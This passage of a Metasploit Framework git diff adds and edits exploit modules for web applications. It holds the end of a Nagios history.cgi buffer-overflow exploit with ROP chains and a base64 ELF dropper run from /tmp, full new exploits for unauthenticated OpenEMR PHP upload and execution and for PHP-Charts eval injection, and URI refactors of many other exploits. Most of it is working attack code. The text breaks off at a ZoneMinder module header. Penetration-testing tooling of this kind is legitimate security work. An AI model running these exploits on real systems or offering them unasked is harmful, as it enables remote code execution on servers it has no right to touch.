limitation + 'BadChars' => '', # It'll be base64 encoded + }, + 'Targets' => + [ + [ 'Automatic Target', { 'auto' => true }], + # NOTE: All addresses are from the history.cgi binary + [ 'Appliance Nagios XI 2012R1.3 (CentOS 6.x)', + { + 'BannerRE' => 'Apache/2.2.15 (CentOS)', + 'VersionRE' => '3.4.1', + 'Arch' => ARCH_X86, + 'Offset' => 0xc43, + 'RopStack' => + [ + 0x0804c260, # unescape_cgi_input() + 0x08048f04, # pop, ret + 0x08079b60, # buffer addr + 0x08048bb0, # system() + 0x08048e70, # exit() + 0x08079b60 # buffer addr + ] + } + ], + [ 'Debian 5 (nagios3_3.0.6-4~lenny2_i386.deb)', + { + 'BannerRE' => 'Apache/2.2.9 (Debian)', + 'VersionRE' => '3.0.6', + 'Arch' => ARCH_X86, + 'Offset' => 0xc37, + 'RopStack' => + [ + 0x0804b620, # unescape_cgi_input() + 0x08048fe4, # pop, ret + 0x080727a0, # buffer addr + 0x08048c7c, # system() + 0xdeafbabe, # if should be exit() but it's not + 0x080727a0 # buffer addr + ] + } + ], + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Dec 09 2012')) + + register_options( + [ + OptString.new('TARGETURI', [true, "The full URI path to history.cgi", "/nagios3/cgi-bin/history.cgi"]), + OptString.new('USER', [false, "The username to authenticate with", "nagiosadmin"]), + OptString.new('PASS', [false, "The password to authenticate with", "nagiosadmin"]), + ], self.class) + end + + def detect_version(uri) + # Send request + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => uri, + 'headers' => { 'Authorization' => 'Basic ' + Rex::Text.encode_base64("#{datastore['USER']}:#{datastore['PASS']}") }, + }, 10) + + # Error handling + if res.nil? + print_error("Unable to get a response from the server") + return nil, nil + end + if(res.code == 401) + print_error("Please specify correct values for USER and PASS") + return nil, nil + end + if(res.code == 404) + print_error("Please specify the correct path to history.cgi in the URI parameter") + return nil, nil + end + + # Extract banner from response + banner = res.headers['Server'] + + # Extract version from body + version = nil + version_line = res.body.match(/Nagios® (Core™ )?[0-9.]+ -/) + if not version_line.nil? + version = version_line[0].match(/[0-9.]+/)[0] + end + + # Check in an alert exists + alert = res.body.match(/ALERT/) + + return version, banner, alert + end + + def select_target(version, banner) + + # No banner and version, no target + if banner.nil? or version.nil? + return nil + end + + # Get version information + print_status("Web Server banner: #{banner}") + print_status("Nagios version detected: #{version}") + + # Try regex for each target + self.targets.each do |t| + if t['BannerRE'].nil? or t['VersionRE'].nil? # It doesn't exist in Auto Target + next + end + regexp1 = Regexp.escape(t['BannerRE']) + regexp2 = Regexp.escape(t['VersionRE']) + if ( banner =~ /#{regexp1}/ and version =~ /#{regexp2}/ ) then + return t + end + end + # If not detected, return nil + return nil + end + + def check + print_status("Checking banner and version...") + # Detect version + banner, version, alert = detect_version(target_uri.path) + # Select target + mytarget = select_target(banner, version) + + if mytarget.nil? + print_error("No matching target") + return CheckCode::Unknown + end + + if alert.nil? + print_error("At least one ALERT is needed in order to exploit") + return CheckCode::Detected + end + + return CheckCode::Vulnerable + end + + def exploit + # Automatic Targeting + mytarget = nil + banner, version, alert = detect_version(target_uri.path) + if (target['auto']) + print_status("Automatically detecting the target...") + mytarget = select_target(banner, version) + if mytarget.nil? + fail_with(Exploit::Failure::NoTarget, "No matching target") + end + else + mytarget = target + end + + print_status("Selected Target: #{mytarget.name}") + if alert.nil? + print_error("At least one ALERT is needed in order to exploit, none found in the first page, trying anyway...") + end + print_status("Sending request to http://#{rhost}:#{rport}#{target_uri.path}") + + # Generate a payload ELF to execute + elfbin = generate_payload_exe + elfb64 = Rex::Text.encode_base64(elfbin) + + # Generate random filename + tempfile = '/tmp/' + rand_text_alphanumeric(10) + + # Generate command-line execution + if mytarget.name =~ /CentOS/ + cmd = "echo #{elfb64}|base64 -d|tee #{tempfile};chmod 700 #{tempfile};rm -rf #{tempfile}|#{tempfile};" + else + cmd = "echo #{elfb64}|base64 -d|tee #{tempfile} |chmod +x #{tempfile};#{tempfile};rm -f #{tempfile}" + end + host_value = cmd.gsub!(' ', '${IFS}') + + # Generate 'host' parameter value + padding_size = mytarget['Offset'] - host_value.length + host_value << rand_text_alphanumeric( padding_size ) + + # Generate ROP + host_value << mytarget['RopStack'].pack('V*') + + # Send exploit + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => target_uri.path, + 'headers' => { 'Authorization' => 'Basic ' + Rex::Text.encode_base64("#{datastore['USER']}:#{datastore['PASS']}") }, + 'vars_get' => + { + 'host' => host_value + } + }) + + if not res + if session_created? + print_status("Session created, enjoy!") + else + print_error("No response from the server") + end + return + end + + if res.code == 401 + fail_with(Exploit::Failure::NoAccess, "Please specify correct values for USER and PASS") + end + + if res.code == 404 + fail_with(Exploit::Failure::NotFound, "Please specify the correct path to history.cgi in the TARGETURI parameter") + end + + print_status("Unknown response #{res.code}") + end + +end diff --git a/modules/exploits/unix/webapp/openemr_upload_exec.rb b/modules/exploits/unix/webapp/openemr_upload_exec.rb new file mode 100644 index 000000000000..41957608bf8b --- /dev/null +++ b/modules/exploits/unix/webapp/openemr_upload_exec.rb @@ -0,0 +1,132 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + + def initialize(info={}) + super(update_info(info, + 'Name' => "OpenEMR PHP File Upload Vulnerability", + 'Description' => %q{ + This module exploits a vulnerability found in OpenEMR 4.1.1 By abusing the + ofc_upload_image.php file from the openflashchart library, a malicious user can + upload a file to the tmp-upload-images directory without any authentication, which + results in arbitrary code execution. The module has been tested successfully on + OpenEMR 4.1.1 over Ubuntu 10.04. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Gjoko Krstic ', # Discovery, PoC + 'juan vazquez' # Metasploit module + ], + 'References' => + [ + [ 'OSVDB', '90222' ], + [ 'BID', '37314' ], + [ 'EBD', '24492' ], + [ 'URL', 'http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5126.php' ], + [ 'URL', 'http://www.open-emr.org/wiki/index.php/OpenEMR_Patches' ] + ], + 'Platform' => ['php'], + 'Arch' => ARCH_PHP, + 'Targets' => + [ + ['OpenEMR 4.1.1', {}] + ], + 'Privileged' => false, + 'DisclosureDate' => "Feb 13 2013", + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The base path to EGallery', '/openemr']) + ], self.class) + end + + def check + uri = target_uri.path + peer = "#{rhost}:#{rport}" + + # Check version + print_status("#{peer} - Trying to detect installed version") + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(uri, "interface", "login", "login.php") + }) + + if res and res.code == 200 and res.body =~ /v(\d\.\d\.\d)/ + version = $1 + else + return Exploit::CheckCode::Unknown + end + + print_status("#{peer} - Version #{version} detected") + + if version > "4.1.1" + return Exploit::CheckCode::Safe + end + + # Check for vulnerable component + print_status("#{peer} - Trying to detect the vulnerable component") + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri("#{uri}", "library", "openflashchart", "php-ofc-library", "ofc_upload_image.php"), + }) + + if res and res.code == 200 and res.body =~ /Saving your image to/ + return Exploit::CheckCode::Detected + end + + return Exploit::CheckCode::Safe + end + + def exploit + uri = target_uri.path + + peer = "#{rhost}:#{rport}" + payload_name = rand_text_alpha(rand(10) + 5) + '.php' + my_payload = payload.encoded + + print_status("#{peer} - Sending PHP payload (#{payload_name})") + res = send_request_raw({ + 'method' => 'POST', + 'uri' => normalize_uri("#{uri}", "library", "openflashchart", "php-ofc-library", "ofc_upload_image.php") + "?name=#{payload_name}", + 'headers' => { "Content-Length" => my_payload.length.to_s }, + 'data' => my_payload + }) + + # If the server returns 200 and the body contains our payload name, + # we assume we uploaded the malicious file successfully + if not res or res.code != 200 or res.body !~ /Saving your image to.*#{payload_name}$/ + fail_with(Exploit::Failure::NotVulnerable, "#{peer} - File wasn't uploaded, aborting!") + end + + register_file_for_cleanup(payload_name) + + print_status("#{peer} - Executing PHP payload (#{payload_name})") + # Execute our payload + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri("#{uri}", "library", "openflashchart", "tmp-upload-images", payload_name), + }) + + # If we don't get a 200 when we request our malicious payload, we suspect + # we don't have a shell, either. Print the status code for debugging purposes. + if res and res.code != 200 + print_error("#{peer} - Server returned #{res.code.to_s}") + end + end + +end diff --git a/modules/exploits/unix/webapp/openx_banner_edit.rb b/modules/exploits/unix/webapp/openx_banner_edit.rb index 7f9b9cd6f0c2..546bd1cf11a7 100644 --- a/modules/exploits/unix/webapp/openx_banner_edit.rb +++ b/modules/exploits/unix/webapp/openx_banner_edit.rb @@ -68,9 +68,7 @@ def initialize(info = {}) end def check - uri = normalize_uri(datastore['URI']) - uri << '/' if uri[-1,1] != '/' - uri << 'www/admin/' + uri = normalize_uri(datastore['URI'], 'www', 'admin/') res = send_request_raw( { 'uri' => uri @@ -108,9 +106,7 @@ def exploit # Static files img_dir = 'images/' - uri_base = normalize_uri(datastore['URI']) - uri_base << '/' if uri_base[-1,1] != '/' - uri_base << 'www/' + uri_base = normalize_uri(datastore['URI'], 'www/') # Need to login first :-/ cookie = openx_login(uri_base) @@ -166,7 +162,7 @@ def openx_login(uri_base) res = send_request_raw( { - 'uri' => uri_base + 'admin/index.php' + 'uri' => normalize_uri(uri_base, 'admin/index.php') }, 10) if not (res and res.body =~ /oa_cookiecheck\" value=\"([^\"]+)\"/) return nil @@ -176,7 +172,7 @@ def openx_login(uri_base) res = send_request_cgi( { 'method' => 'POST', - 'uri' => uri_base + 'admin/index.php', + 'uri' => normalize_uri(uri_base, 'admin/index.php'), 'vars_post' => { 'oa_cookiecheck' => cookie, @@ -201,7 +197,7 @@ def openx_login(uri_base) def openx_find_campaign(uri_base, cookie) res = send_request_raw( { - 'uri' => uri_base + 'admin/advertiser-campaigns.php', + 'uri' => normalize_uri(uri_base, 'admin/advertiser-campaigns.php'), 'headers' => { 'Cookie' => "sessionID=#{cookie}; PHPSESSID=#{cookie}", @@ -269,7 +265,7 @@ def openx_upload_banner(uri_base, cookie, adv_id, camp_id, code_img) res = send_request_raw( { - 'uri' => uri_base + "admin/banner-edit.php", + 'uri' => normalize_uri(uri_base, "admin/banner-edit.php"), 'method' => 'POST', 'data' => data, 'headers' => @@ -287,7 +283,7 @@ def openx_upload_banner(uri_base, cookie, adv_id, camp_id, code_img) # Ugh, now we have to get the banner id! res = send_request_raw( { - 'uri' => uri_base + "admin/campaign-banners.php?clientid=#{adv_id}&campaignid=#{camp_id}", + 'uri' => normalize_uri(uri_base, "admin/campaign-banners.php") + "?clientid=#{adv_id}&campaignid=#{camp_id}", 'method' => 'GET', 'headers' => { @@ -319,7 +315,7 @@ def openx_find_banner_filename(uri_base, cookie, adv_id, camp_id, ban_id) # Ugh, now we have to get the banner name too! res = send_request_raw( { - 'uri' => uri_base + "admin/banner-edit.php?clientid=#{adv_id}&campaignid=#{camp_id}&bannerid=#{ban_id}", + 'uri' => normalize_uri(uri_base, "admin/banner-edit.php") + "?clientid=#{adv_id}&campaignid=#{camp_id}&bannerid=#{ban_id}", 'method' => 'GET', 'headers' => { @@ -338,7 +334,7 @@ def openx_find_banner_filename(uri_base, cookie, adv_id, camp_id, ban_id) def openx_banner_delete(uri_base, cookie, adv_id, camp_id, ban_id) res = send_request_raw( { - 'uri' => uri_base + "admin/banner-delete.php?clientid=#{adv_id}&campaignid=#{camp_id}&bannerid=#{ban_id}", + 'uri' => normalize_uri(uri_base, "admin/banner-delete.php") + "?clientid=#{adv_id}&campaignid=#{camp_id}&bannerid=#{ban_id}", 'method' => 'GET', 'headers' => { diff --git a/modules/exploits/unix/webapp/oscommerce_filemanager.rb b/modules/exploits/unix/webapp/oscommerce_filemanager.rb index 66fa7d4ca279..7ca3dc9b5899 100644 --- a/modules/exploits/unix/webapp/oscommerce_filemanager.rb +++ b/modules/exploits/unix/webapp/oscommerce_filemanager.rb @@ -78,7 +78,7 @@ def exploit print_status("Sending file save request") response = send_request_raw({ - 'uri' => normalize_uri(datastore['URI']) + "/" + "admin/file_manager.php/login.php?action=save", + 'uri' => normalize_uri(datastore['URI'], "admin/file_manager.php/login.php") + "?action=save", 'method' => 'POST', 'data' => data, 'headers' => @@ -101,7 +101,7 @@ def exploit response = send_request_raw({ # Allow findsock payloads to work 'global' => true, - 'uri' => normalize_uri(datastore['URI']) + "/" + File.basename(filename) + 'uri' => normalize_uri(datastore['URI'], File.basename(filename)) }, timeout) handler diff --git a/modules/exploits/unix/webapp/php_charts_exec.rb b/modules/exploits/unix/webapp/php_charts_exec.rb new file mode 100644 index 000000000000..50159d7bc596 --- /dev/null +++ b/modules/exploits/unix/webapp/php_charts_exec.rb @@ -0,0 +1,119 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info={}) + super(update_info(info, + 'Name' => "PHP-Charts v1.0 PHP Code Execution Vulnerability", + 'Description' => %q{ + This module exploits a PHP code execution vulnerability in php-Charts + version 1.0 which could be abused to allow users to execute arbitrary + PHP code under the context of the webserver user. The 'url.php' script + calls eval() with user controlled data from any HTTP GET parameter name. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'AkaStep', # Discovery and PoC + 'Brendan Coles ' # msf exploit + ], + 'References' => + [ + ['OSVDB', '89334'], + ['BID', '57448'], + ['EDB', '24201'] + ], + 'Payload' => + { + 'BadChars' => "\x00\x0a\x0d\x22", + 'Compat' => + { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'generic telnet bash netcat-e perl ruby python', + } + }, + 'DefaultOptions' => + { + 'ExitFunction' => "none" + }, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Targets' => + [ + ['Automatic Targeting', { 'auto' => true }] + ], + 'Privileged' => false, + 'DisclosureDate' => "Jan 16 2013", + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The path to the web application', '/php-charts_v1.0/']), + ], self.class) + end + + def check + + base = target_uri.path + base << '/' if base[-1, 1] != '/' + peer = "#{rhost}:#{rport}" + fingerprint = Rex::Text.rand_text_alphanumeric(rand(8)+4) + code = Rex::Text.uri_encode(Rex::Text.encode_base64("echo #{fingerprint}")) + rand_key_value = rand_text_alphanumeric(rand(10)+6) + + # send check + print_status("#{peer} - Sending check") + begin + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => "#{base}wizard/url.php?${system(base64_decode(\"#{code}\"))}=#{rand_key_value}" + }) + + if res and res.body =~ /#{fingerprint}/ + return Exploit::CheckCode::Vulnerable + else + return Exploit::CheckCode::Safe + end + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout + print_error("#{peer} - Connection failed") + end + return Exploit::CheckCode::Unknown + + end + + def exploit + + base = target_uri.path + base << '/' if base[-1, 1] != '/' + @peer = "#{rhost}:#{rport}" + code = Rex::Text.uri_encode(Rex::Text.encode_base64(payload.encoded+"&")) + rand_key_value = rand_text_alphanumeric(rand(10)+6) + + # send payload + print_status("#{@peer} - Sending payload (#{code.length} bytes)") + begin + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => "#{base}wizard/url.php?${system(base64_decode(\"#{code}\"))}=#{rand_key_value}" + }) + if res and res.code == 500 + print_good("#{@peer} - Payload sent successfully") + else + fail_with(Exploit::Failure::UnexpectedReply, "#{@peer} - Sending payload failed") + end + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout + fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed") + end + + end +end diff --git a/modules/exploits/unix/webapp/php_wordpress_foxypress.rb b/modules/exploits/unix/webapp/php_wordpress_foxypress.rb index 9526b9f2fa63..e6fcd817266d 100644 --- a/modules/exploits/unix/webapp/php_wordpress_foxypress.rb +++ b/modules/exploits/unix/webapp/php_wordpress_foxypress.rb @@ -54,12 +54,11 @@ def initialize(info = {}) end def check - uri = normalize_uri(target_uri.path) - uri << '/' if uri[-1,1] != '/' + uri = target_uri.path res = send_request_cgi({ 'method' => 'GET', - 'uri' => "#{uri}wp-content/plugins/foxypress/uploadify/uploadify.php" + 'uri' => normalize_uri(uri, "wp-content/plugins/foxypress/uploadify/uploadify.php") }) if res and res.code == 200 @@ -83,7 +82,7 @@ def exploit res = send_request_cgi({ 'method' => 'POST', - 'uri' => "#{uri}wp-content/plugins/foxypress/uploadify/uploadify.php", + 'uri' => normalize_uri(uri, "wp-content/plugins/foxypress/uploadify/uploadify.php"), 'ctype' => 'multipart/form-data; boundary=' + post_data.bound, 'data' => post_data.to_s }) @@ -96,7 +95,7 @@ def exploit print_good("#{peer} - Our payload is at: #{$1}.php! Calling payload...") res = send_request_cgi({ 'method' => 'GET', - 'uri' => "#{uri}wp-content/affiliate_images/#{$1}.php" + 'uri' => normalize_uri(uri, "wp-content/affiliate_images", "#{$1}.php") }) if res and res.code != 200 diff --git a/modules/exploits/unix/webapp/phpbb_highlight.rb b/modules/exploits/unix/webapp/phpbb_highlight.rb index 60dc44e64303..f19ece646e11 100644 --- a/modules/exploits/unix/webapp/phpbb_highlight.rb +++ b/modules/exploits/unix/webapp/phpbb_highlight.rb @@ -70,7 +70,7 @@ def find_topic 1.upto(32) do |x| res = send_request_raw({ - 'uri' => normalize_uri(datastore['URI']) + '/viewtopic.php?topic=' + x.to_s, + 'uri' => normalize_uri(datastore['URI'], '/viewtopic.php') + '?topic=' + x.to_s, }, 25) if (res and res.body.match(/class="postdetails"/)) @@ -92,14 +92,14 @@ def exploit return else - sploit = normalize_uri(datastore['URI']) + "/viewtopic.php?t=#{topic}&highlight=" + sploit = normalize_uri(datastore['URI'], "/viewtopic.php") + "?t=#{topic}&highlight=" case target.name when /Automatic/ req = "/viewtopic.php?t=#{topic}&highlight=%2527%252ephpinfo()%252e%2527" res = send_request_raw({ - 'uri' => normalize_uri(datastore['URI']) + req + 'uri' => normalize_uri(datastore['URI'], req) }, 25) print_status("Trying to determine which attack method to use...") diff --git a/modules/exploits/unix/webapp/phpmyadmin_config.rb b/modules/exploits/unix/webapp/phpmyadmin_config.rb index f215e4b11a46..55f894ffc361 100644 --- a/modules/exploits/unix/webapp/phpmyadmin_config.rb +++ b/modules/exploits/unix/webapp/phpmyadmin_config.rb @@ -74,7 +74,7 @@ def initialize(info = {}) def exploit # First, grab the session cookie and the CSRF token print_status("Grabbing session cookie and CSRF token") - uri = normalize_uri(datastore['URI']) + "/scripts/setup.php" + uri = normalize_uri(datastore['URI'], "/scripts/setup.php") response = send_request_raw({ 'uri' => uri}) if !response fail_with(Exploit::Failure::NotFound, "Failed to retrieve hash, server may not be vulnerable.") @@ -101,7 +101,7 @@ def exploit # Now that we've got the cookie and token, send the evil print_status("Sending save request") response = send_request_raw({ - 'uri' => normalize_uri(datastore['URI']) + "/scripts/setup.php", + 'uri' => normalize_uri(datastore['URI'], "/scripts/setup.php"), 'method' => 'POST', 'data' => data, 'cookie' => cookie, @@ -120,7 +120,7 @@ def exploit response = send_request_raw({ # Allow findsock payloads to work 'global' => true, - 'uri' => normalize_uri(datastore['URI']) + "/config/config.inc.php" + 'uri' => normalize_uri(datastore['URI'], "/config/config.inc.php") }, timeout) handler diff --git a/modules/exploits/unix/webapp/projectpier_upload_exec.rb b/modules/exploits/unix/webapp/projectpier_upload_exec.rb index 06af2b28c79d..4b5b2a474518 100644 --- a/modules/exploits/unix/webapp/projectpier_upload_exec.rb +++ b/modules/exploits/unix/webapp/projectpier_upload_exec.rb @@ -63,7 +63,7 @@ def check res = send_request_cgi( { 'method' => 'GET', - 'uri' => "#{base}/index.php", + 'uri' => normalize_uri("#{base}/index.php"), 'vars_get' => { 'c' => 'access', diff --git a/modules/exploits/unix/webapp/redmine_scm_exec.rb b/modules/exploits/unix/webapp/redmine_scm_exec.rb index 83de69d3d734..9de06547ac8b 100644 --- a/modules/exploits/unix/webapp/redmine_scm_exec.rb +++ b/modules/exploits/unix/webapp/redmine_scm_exec.rb @@ -55,7 +55,7 @@ def initialize(info = {}) def exploit command = Rex::Text.uri_encode(payload.encoded) - urlconfigdir = normalize_uri(datastore['URI']) + "/repository/annotate?rev=`#{command}`" + urlconfigdir = normalize_uri(datastore['URI'], "/repository/annotate") + "?rev=`#{command}`" res = send_request_raw({ 'uri' => urlconfigdir, diff --git a/modules/exploits/unix/webapp/sphpblog_file_upload.rb b/modules/exploits/unix/webapp/sphpblog_file_upload.rb index 6e1c95852ac0..07465ee23686 100644 --- a/modules/exploits/unix/webapp/sphpblog_file_upload.rb +++ b/modules/exploits/unix/webapp/sphpblog_file_upload.rb @@ -57,7 +57,7 @@ def initialize(info = {}) def check res = send_request_raw({ - 'uri' => normalize_uri(datastore['URI']) + '/index.php' + 'uri' => normalize_uri(datastore['URI'], '/index.php') }, 25) if (res and res.body =~ /Simple PHP Blog (\d)\.(\d)\.(\d)/) @@ -79,7 +79,7 @@ def check def retrieve_password_hash(file) res = send_request_raw({ - 'uri' => normalize_uri(datastore['URI']) + file, + 'uri' => normalize_uri(datastore['URI'], file) }, 25) if (res and res.message == "OK" and res.body) @@ -94,7 +94,7 @@ def retrieve_password_hash(file) def create_new_password(user, pass) res = send_request_cgi({ - 'uri' => normalize_uri(datastore['URI']) + '/install03_cgi.php', + 'uri' => normalize_uri(datastore['URI'], '/install03_cgi.php'), 'method' => 'POST', 'data' => "user=#{user}&pass=#{pass}", }, 25) @@ -109,7 +109,7 @@ def create_new_password(user, pass) def retrieve_session(user, pass) res = send_request_cgi({ - 'uri' => normalize_uri(datastore['URI']) + "/login_cgi.php", + 'uri' => normalize_uri(datastore['URI'], "/login_cgi.php"), 'method' => 'POST', 'data' => "user=#{user}&pass=#{pass}", }, 25) @@ -139,7 +139,7 @@ def upload_page(session, dir, newpage, contents) data << "\r\n--#{boundary}--" res = send_request_raw({ - 'uri' => normalize_uri(datastore['URI']) + "/upload_img_cgi.php", + 'uri' => normalize_uri(datastore['URI'], "/upload_img_cgi.php"), 'method' => 'POST', 'data' => data, 'headers' => @@ -160,7 +160,7 @@ def upload_page(session, dir, newpage, contents) def reset_original_password(hash, scriptlocation) res = send_request_cgi({ - 'uri' => normalize_uri(datastore['URI']) + scriptlocation, + 'uri' => normalize_uri(datastore['URI'], scriptlocation), 'method' => 'POST', 'data' => "hash=" + hash, }, 25) @@ -177,7 +177,7 @@ def delete_file(file) delete_path = "/comment_delete_cgi.php?y=05&m=08&comment=.#{file}" res = send_request_raw({ - 'uri' => normalize_uri(datastore['URI']) + delete_path, + 'uri' => normalize_uri(datastore['URI'], delete_path), }, 25) if (res) diff --git a/modules/exploits/unix/webapp/sugarcrm_unserialize_exec.rb b/modules/exploits/unix/webapp/sugarcrm_unserialize_exec.rb index 40311c1ed3f7..9f8aadb6213c 100644 --- a/modules/exploits/unix/webapp/sugarcrm_unserialize_exec.rb +++ b/modules/exploits/unix/webapp/sugarcrm_unserialize_exec.rb @@ -75,7 +75,6 @@ def on_new_session(client) def exploit base = normalize_uri(target_uri.path) - base << '/' if base[-1, 1] != '/' @peer = "#{rhost}:#{rport}" username = datastore['USERNAME'] @@ -89,7 +88,7 @@ def exploit res = send_request_cgi( { - 'uri' => "#{base}index.php" , + 'uri' => normalize_uri(base, "index.php") , 'method' => "POST", 'headers' => { diff --git a/modules/exploits/unix/webapp/tikiwiki_graph_formula_exec.rb b/modules/exploits/unix/webapp/tikiwiki_graph_formula_exec.rb index a051069c938e..99f57424e15e 100644 --- a/modules/exploits/unix/webapp/tikiwiki_graph_formula_exec.rb +++ b/modules/exploits/unix/webapp/tikiwiki_graph_formula_exec.rb @@ -58,7 +58,7 @@ def initialize(info = {}) def check res = send_request_raw( { - 'uri' => normalize_uri(datastore['URI']) + "/tiki-index.php", + 'uri' => normalize_uri(datastore['URI'], "/tiki-index.php"), 'method' => 'GET', 'headers' => { @@ -155,8 +155,7 @@ def exploit # when exploiting this vulnerability :) # def build_uri(f_val) - uri = normalize_uri(datastore['URI']) - uri << "/tiki-graph_formula.php?" + uri = normalize_uri(datastore['URI'], "/tiki-graph_formula.php?") # Requirements: query = '' diff --git a/modules/exploits/unix/webapp/tikiwiki_jhot_exec.rb b/modules/exploits/unix/webapp/tikiwiki_jhot_exec.rb index c2f500447e3d..7fac9b73f102 100644 --- a/modules/exploits/unix/webapp/tikiwiki_jhot_exec.rb +++ b/modules/exploits/unix/webapp/tikiwiki_jhot_exec.rb @@ -59,7 +59,7 @@ def initialize(info = {}) def check res = send_request_raw( { - 'uri' => normalize_uri(datastore['URI']) + "/tiki-index.php", + 'uri' => normalize_uri(datastore['URI'], "/tiki-index.php"), 'method' => 'GET' }, 25) @@ -82,7 +82,7 @@ def exploit end def create_temp_file - url_jhot = normalize_uri(datastore['URI']) + "/jhot.php" + url_jhot = normalize_uri(datastore['URI'], "/jhot.php") scode = "\x0d\x0a\x3c\x3f\x70\x68\x70\x0d\x0a\x2f\x2f\x20\x24\x48\x65\x61" + @@ -153,7 +153,7 @@ def create_temp_file end def exe_command(cmd) - url_config = normalize_uri(datastore['URI']) + "/img/wiki/tiki-config.php" + url_config = normalize_uri(datastore['URI'], "/img/wiki/tiki-config.php") res = send_request_raw({ 'uri' => url_config, @@ -182,7 +182,7 @@ def exe_command(cmd) end def remove_temp_file - url_config = normalize_uri(datastore['URI']) + "/img/wiki/tiki-config.php" + url_config = normalize_uri(datastore['URI'], "/img/wiki/tiki-config.php") res = send_request_raw({ 'uri' => url_config, diff --git a/modules/exploits/unix/webapp/tikiwiki_unserialize_exec.rb b/modules/exploits/unix/webapp/tikiwiki_unserialize_exec.rb index f6908cbf6d02..bb5f625e5670 100644 --- a/modules/exploits/unix/webapp/tikiwiki_unserialize_exec.rb +++ b/modules/exploits/unix/webapp/tikiwiki_unserialize_exec.rb @@ -78,7 +78,7 @@ def on_new_session(client) end def exploit - base = normalize_uri(target_uri.path) + base = target_uri.path base << '/' if base[-1, 1] != '/' @upload_php = rand_text_alpha(rand(4) + 4) + ".php" @peer = "#{rhost}:#{rport}" @@ -86,7 +86,7 @@ def exploit print_status("#{@peer} - Disclosing the path of the Tiki Wiki on the filesystem") res = send_request_cgi( - 'uri' => "#{base}tiki-rss_error.php" + 'uri' => normalize_uri(base, "tiki-rss_error.php") ) if not res or res.code != 200 or not res.body =~ /[> ](\/.*)tiki-rss_error\.php/ @@ -112,7 +112,7 @@ def exploit res = send_request_cgi( { - 'uri' => "#{base}tiki-print_multi_pages.php", + 'uri' => normalize_uri(base, "tiki-print_multi_pages.php"), 'method' => 'POST', 'vars_post' => { 'printpages' => printpages @@ -129,7 +129,7 @@ def exploit res = send_request_cgi( { 'method' => 'GET', - 'uri' => "#{base + @upload_php}", + 'uri' => normalize_uri(base, @upload_php), 'headers' => { 'Cmd' => Rex::Text.encode_base64(payload.encoded) } diff --git a/modules/exploits/unix/webapp/twiki_history.rb b/modules/exploits/unix/webapp/twiki_history.rb index 42bccd1b2f70..98b628b9f868 100644 --- a/modules/exploits/unix/webapp/twiki_history.rb +++ b/modules/exploits/unix/webapp/twiki_history.rb @@ -61,8 +61,8 @@ def initialize(info = {}) # def check test_file = rand_text_alphanumeric(8+rand(8)) - cmd_base = normalize_uri(datastore['URI']) + '/view/Main/TWikiUsers?rev=' - test_url = normalize_uri(datastore['URI']) + '/' + test_file + cmd_base = normalize_uri(datastore['URI'], '/view/Main/TWikiUsers?rev=') + test_url = normalize_uri(datastore['URI'], test_file) # first see if it already exists (it really shouldn't) res = send_request_raw({ @@ -109,7 +109,7 @@ def exploit rev = rand_text_numeric(1+rand(5)) rev << ' `' + payload.encoded + '`#' - query_str = normalize_uri(datastore['URI']) + '/view/Main/TWikiUsers' + query_str = normalize_uri(datastore['URI'], '/view/Main/TWikiUsers') query_str << '?rev=' query_str << Rex::Text.uri_encode(rev) diff --git a/modules/exploits/unix/webapp/twiki_search.rb b/modules/exploits/unix/webapp/twiki_search.rb index 741f7eef42a5..b27a6f4e2366 100644 --- a/modules/exploits/unix/webapp/twiki_search.rb +++ b/modules/exploits/unix/webapp/twiki_search.rb @@ -56,8 +56,8 @@ def initialize(info = {}) def check content = rand_text_alphanumeric(16+rand(16)) test_file = rand_text_alphanumeric(8+rand(8)) - cmd_base = normalize_uri(datastore['URI']) + '/view/Main/WebSearch?search=' - test_url = normalize_uri(datastore['URI']) + '/view/Main/' + test_file + cmd_base = normalize_uri(datastore['URI'], '/view/Main/WebSearch?search=') + test_url = normalize_uri(datastore['URI'], '/view/Main/', test_file) # first see if it already exists (it really shouldn't) res = send_request_raw({ @@ -105,13 +105,13 @@ def exploit search = rand_text_alphanumeric(1+rand(8)) search << "';" + payload.encoded + ";#\'" - query_str = normalize_uri(datastore['URI']) + '/view/Main/WebSearch' + query_str = normalize_uri(datastore['URI'], '/view/Main/WebSearch') query_str << '?search=' query_str << Rex::Text.uri_encode(search) res = send_request_cgi({ 'method' => 'GET', - 'uri' => query_str, + 'uri' => query_str, }, 25) if (res and res.code == 200) diff --git a/modules/exploits/unix/webapp/zoneminder_packagecontrol_exec.rb b/modules/exploits/unix/webapp/zoneminder_packagecontrol_exec.rb new file mode 100644 index 000000000000..ef6906721ed8 --- /dev/null +++ b/modules/exploits/unix/webapp/zoneminder_packagecontrol_exec.rb @@ -0,0 +1,147 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. 